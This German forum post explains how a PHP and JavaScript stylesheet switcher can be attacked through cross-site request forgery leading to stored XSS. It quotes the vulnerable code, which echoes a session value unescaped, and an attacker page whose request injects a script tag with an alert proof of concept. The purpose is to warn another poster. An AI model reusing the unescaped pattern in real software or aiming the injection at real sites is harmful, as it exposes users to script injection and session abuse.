Ja das weiss ich.
Nochmal:
Wir haben folgende Dateien:
PHP
#index.php
<?php
session_start();
// Mach was
$style= (empty($_SESSION['style'])) ? "standard.css" : $_SESSION['style'];
?>
<html>
<head>
<link href="<?php echo $style; ?>" rel="stylesheet" type="text/css" id="style">
</head>
<body>
<H1>HELLO WORLD</H1>
</body>
</html>
Alles anzeigen
Code
// changestyle.js
function changeStyle(newstyle) {
styles=array();
styles['normal']="standard.css";
styles['green']="green.css";
if (styles[newstyle]) {
$.ajax("changestyle.php?style="+styles[newstyle], {
sucess: function(data) {
document.getElementById("style").href=styles[newstyle];
}
});
} else document.getElementById("style").href=styles['normal'];
}
Alles anzeigen
So, ich bin jetzt ein hacker und habe auf meinem server folgende datei
HTML
#nicoRSS.html
<html>
<head>
<script>
$.ajax('http://www.nicosurl.de/changestyle.php?style=standard.css"><script>alert("BOOOM! XSS");</script><link href="standard.css', {
complete: function() {
location.href="http://www.nicosurl.de/";
}
});
</script>
</head>
</html>
Alles anzeigen
und dann auf meiner seite schreibe
wird beim click der Session-Cookie für http://www.nicosurl.de esetzt, in seiner session steht dann
Dann wird durch das location.href seine Seite geladen, wo wiederrum der PHP Code greift und aus dem
HTML
<link href="standard.css"><script>alert("BOOOM! XSS");</script><link href="standard.css" rel="stylesheet" type="text/css" id="style">
macht, und das ist garnicht gut.